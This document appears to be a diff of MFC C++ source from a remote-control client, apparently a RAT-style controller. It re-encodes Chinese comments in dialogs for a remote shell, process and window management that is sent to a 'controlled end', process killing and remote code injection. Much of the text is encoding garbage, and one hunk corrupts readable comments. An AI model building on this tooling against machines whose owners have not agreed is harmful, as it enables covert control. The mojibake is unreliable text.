// <EFBFBD><EFBFBD><EFBFBD>۹<EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>ĩβ
// 无论光标位置在哪,新输入的文字总是出现在文本末尾
class CAutoEndEdit : public CEdit
{
public:
@@ -11,7 +11,7 @@ public:
};
// CShellDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CShellDlg 对话框
class CShellDlg : public DialogBase
{
@@ -25,13 +25,13 @@ public:
UINT m_nReceiveLength;
VOID AddKeyBoardData(void);
int m_nCurSel; //<EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>;
int m_nCurSel; //获得当前数据所在位置;
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_SHELL };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
#include "StdAfx.h"
#include "StdAfx.h"
#include "SortListCtrl.h"
BEGIN_MESSAGE_MAP(CSortListCtrl, CListCtrl)

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "afxcmn.h"
#include <string.h>
@@ -9,9 +9,9 @@ public:
~CSortListCtrl(void) {}
// 是否为升序
// 鏄惁涓哄崌搴?
bool m_bAsc;
// 当前排列的序
// 褰撳墠鎺掑垪鐨勫簭
int m_nSortedCol;
afx_msg void OnLvnColumnclick(NMHDR *pNMHDR, LRESULT *pResult);

View File

@@ -1,4 +1,4 @@
// SystemDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// SystemDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -7,7 +7,7 @@
#include "afxdialogex.h"
// CSystemDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CSystemDlg 对话框
typedef struct ItemData {
DWORD ID;
@@ -57,7 +57,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
END_MESSAGE_MAP()
// CSystemDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CSystemDlg 消息处理程序
BOOL CSystemDlg::OnInitDialog()
@@ -68,27 +68,27 @@ BOOL CSystemDlg::OnInitDialog()
SetIcon(m_hIcon, FALSE);
CString str;
m_bHow==TOKEN_PSLIST
? str.Format("%s - <EFBFBD><EFBFBD><EFBFBD>̹<EFBFBD><EFBFBD><EFBFBD>", m_IPAddress)
:str.Format("%s - <EFBFBD><EFBFBD><EFBFBD>ڹ<EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
SetWindowText(str);//<EFBFBD><EFBFBD><EFBFBD>öԻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
? str.Format("%s - 进程管理", m_IPAddress)
:str.Format("%s - 窗口管理", m_IPAddress);
SetWindowText(str);//设置对话框标题
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
if (m_bHow==TOKEN_PSLIST) { //<EFBFBD><EFBFBD><EFBFBD>̹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
m_ControlList.InsertColumn(0, "ӳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 180);
if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表
m_ControlList.InsertColumn(0, "映像名称", LVCFMT_LEFT, 180);
m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 70);
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 320);
m_ControlList.InsertColumn(3, "<EFBFBD>ܹ<EFBFBD>", LVCFMT_LEFT, 70);
ShowProcessList(); //<EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ž<EFBFBD><EFBFBD>̵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>԰<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\0\0
} else if (m_bHow==TOKEN_WSLIST) { //<EFBFBD><EFBFBD><EFBFBD>ڹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
//<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD> <20><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
m_ControlList.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 420);
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬", LVCFMT_LEFT, 200);
m_ControlList.InsertColumn(2, "程序路径", LVCFMT_LEFT, 320);
m_ControlList.InsertColumn(3, "架构", LVCFMT_LEFT, 70);
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中\0\0
} else if (m_bHow==TOKEN_WSLIST) { //窗口管理初始化列表
//初始化 窗口管理的列表
m_ControlList.InsertColumn(0, "句柄", LVCFMT_LEFT, 80);
m_ControlList.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 420);
m_ControlList.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 200);
ShowWindowsList();
}
return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE
// 异常: OCX 属性页应返回 FALSE
}
void CSystemDlg::ShowWindowsList(void)
@@ -103,18 +103,18 @@ void CSystemDlg::ShowWindowsList(void)
CString str;
int i ;
for ( i = 0; dwOffset <m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) {
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //<EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD>
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //<EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD>
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //窗口句柄
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //窗口标题
str.Format("%5u", *lpPID);
m_ControlList.InsertItem(i, str);
m_ControlList.SetItemText(i, 1, szTitle);
m_ControlList.SetItemText(i, 2, "<EFBFBD><EFBFBD>ʾ"); //(d) <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD>ʾΪ "<22><>ʾ"
// ItemData Ϊ<EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD>
auto data = new ItemData{ *lpPID, {str, szTitle,"<EFBFBD><EFBFBD>ʾ"} };
m_ControlList.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示"
// ItemData 为窗口句柄
auto data = new ItemData{ *lpPID, {str, szTitle,"显示"} };
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
}
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD><EFBFBD><EFBFBD>%d<><64>", i); //<EFBFBD>޸<EFBFBD>CtrlList
str.Format("窗口名称 窗口个数【%d】", i); //修改CtrlList
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
@@ -131,40 +131,40 @@ void CSystemDlg::ShowProcessList(void)
DWORD dwOffset = 0;
CString str;
DeleteAllItems();
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<EFBFBD><EFBFBD> Id+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0
//遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
int i;
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) {
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //这里得到进程ID
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的啦
auto arr = StringToVector(szExeFile, ':', 2);
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<EFBFBD>Ĺ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦
//他的数据结构的构建很巧妙
m_ControlList.InsertItem(i, arr[0].c_str()); //<EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݼ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中
str.Format("%5u", *PID);
m_ControlList.SetItemText(i, 1, str);
m_ControlList.SetItemText(i, 2, szProcessFullPath);
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
// ItemData Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
// ItemData 为进程ID
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() };
m_ControlList.SetItemData(i, DWORD_PTR(data));
dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ѭ<EFBFBD><D1AD>
dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环
}
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> / %d", i);
str.Format("程序个数 / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_ControlList.SetColumn(2, &lvc); //<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD>ж<EFBFBD><EFBFBD>ٸ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程
}
void CSystemDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -174,7 +174,7 @@ void CSystemDlg::OnClose()
DialogBase::OnClose();
}
// <EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 释放资源以后再清空
void CSystemDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
@@ -192,7 +192,7 @@ int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ֵ
// 获取列值
ItemData* context1 = (ItemData*)lParam1;
ItemData* context2 = (ItemData*)lParam2;
CString s1 = context1->GetData(nColumn);
@@ -207,15 +207,15 @@ void CSystemDlg::SortByColumn(int nColumn)
static int m_nSortColumn = 0;
static bool m_bSortAscending = false;
if (nColumn == m_nSortColumn) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<EFBFBD>У<EFBFBD><EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>
// 如果点击的是同一列,切换排序顺序
m_bSortAscending = !m_bSortAscending;
} else {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 否则,切换到新列并设置为升序
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// 创建排序信息
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
@@ -223,8 +223,8 @@ void CSystemDlg::SortByColumn(int nColumn)
void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
int nColumn = pNMHeader->iItem; // <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SortByColumn(nColumn); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nColumn = pNMHeader->iItem; // 获取点击的列索引
SortByColumn(nColumn); // 调用排序函数
*pResult = 0;
}
@@ -232,7 +232,7 @@ void CSystemDlg::OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
CMenu Menu;
if (m_bHow==TOKEN_PSLIST) { //<EFBFBD><EFBFBD><EFBFBD>̹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表
Menu.LoadMenu(IDR_PROCESS_LIST);
} else if (m_bHow==TOKEN_WSLIST) {
Menu.LoadMenu(IDR_WINDOW_LIST);
@@ -254,28 +254,28 @@ void CSystemDlg::OnPlistKill()
return;
//[KILL][ID][ID][iD][ID]
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//非配缓冲区
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (ListCtrl->GetSelectedCount() * 4));//1.exe 4 ID Handle
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
//加入结束进程的数据头
szBuffer[0] = COMMAND_KILLPROCESS;
//<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
char *szTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><>ֹ<EFBFBD><D6B9><EFBFBD>̻ᵼ<CCBB>²<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>\n"
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD>ʧ<EFBFBD><EFBFBD>ϵͳ<EFBFBD><EFBFBD><EFBFBD>ȶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD>ֹǰ<EFBFBD><EFBFBD>\n"
"<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD>û<EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݡ<EFBFBD>";
//显示警告信息
char *szTips = "警告: 终止进程会导致不希望发生的结果,\n"
"包括数据丢失和系统不稳定。在被终止前,\n"
"进程将没有机会保存其状态和数据。";
CString str;
if (ListCtrl->GetSelectedCount() > 1) {
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", szTips, ListCtrl->GetSelectedCount());
str.Format("%s确实\n想终止这%d项进程吗?", szTips, ListCtrl->GetSelectedCount());
} else {
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", szTips);
str.Format("%s确实\n想终止该项进程吗?", szTips);
}
if (::MessageBox(m_hWnd, str, "<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO) {
if (::MessageBox(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO) {
LocalFree(szBuffer);
return;
}
DWORD dwOffset = 1;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
//<EFBFBD>õ<EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//得到要结束哪个进程
while(Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
@@ -283,7 +283,7 @@ void CSystemDlg::OnPlistKill()
memcpy(szBuffer + dwOffset, &dwProcessID, sizeof(DWORD)); //sdkfj101112
dwOffset += sizeof(DWORD);
}
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD>COMMAND_KILLPROCESS<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
//发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
@@ -337,7 +337,7 @@ void CSystemDlg::OnReceiveComplete(void)
}
default:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 传输发生异常数据
break;
}
}
@@ -353,9 +353,9 @@ void CSystemDlg::OnWlistClose()
if (nItem>=0) {
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=CMD_WINDOW_CLOSE; //ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
lpMsgBuf[0]=CMD_WINDOW_CLOSE; //注意这个就是我们的数据头
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵľ<EFBFBD><EFBFBD><EFBFBD>һͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
@@ -372,13 +372,13 @@ void CSystemDlg::OnWlistHide()
int nItem = pListCtrl->GetSelectionMark();
if (nItem>=0) {
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=CMD_WINDOW_TEST; //<EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵľ<EFBFBD><EFBFBD><EFBFBD>һͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); //ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><EFBFBD>е<EFBFBD><EFBFBD><EFBFBD>ʾ״̬Ϊ"<22><><EFBFBD><EFBFBD>"
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><EFBFBD><EFBFBD>Ŀʱ<EFBFBD>Ͳ<EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ᶪʧ <20><><EFBFBD><EFBFBD>ԶҲ<D4B6><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵľ<EFBFBD><EFBFBD><EFBFBD>һͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD dHow=SW_HIDE; //<EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
DWORD hwnd = data->ID; //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem,2,"隐藏"); //注意这时将列表中的显示状态为"隐藏"
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow=SW_HIDE; //窗口处理参数 0
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
}
@@ -397,7 +397,7 @@ void CSystemDlg::OnWlistRecover()
lpMsgBuf[0]= CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
pListCtrl->SetItemText(nItem,2,"显示");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_NORMAL;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -418,7 +418,7 @@ void CSystemDlg::OnWlistMax()
lpMsgBuf[0]= CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
pListCtrl->SetItemText(nItem,2,"显示");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -439,7 +439,7 @@ void CSystemDlg::OnWlistMin()
lpMsgBuf[0]= CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
pListCtrl->SetItemText(nItem,2,"显示");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
@@ -451,14 +451,14 @@ void CSystemDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return; // ȷ<EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD>
if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>úʹ<EFBFBD>С
// 计算新位置和大小
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<EFBFBD><EFBFBD><EFBFBD>С
// 重新设置控件大小
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}
@@ -472,10 +472,10 @@ void CSystemDlg::OnPlistInject()
return;
if (ListCtrl->GetSelectedCount() != 1)
::MessageBox(m_hWnd, "ֻ<EFBFBD><EFBFBD>ͬʱ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
::MessageBox(m_hWnd, "只能同时向一个进程进行代码注入!", "提示", MB_ICONINFORMATION);
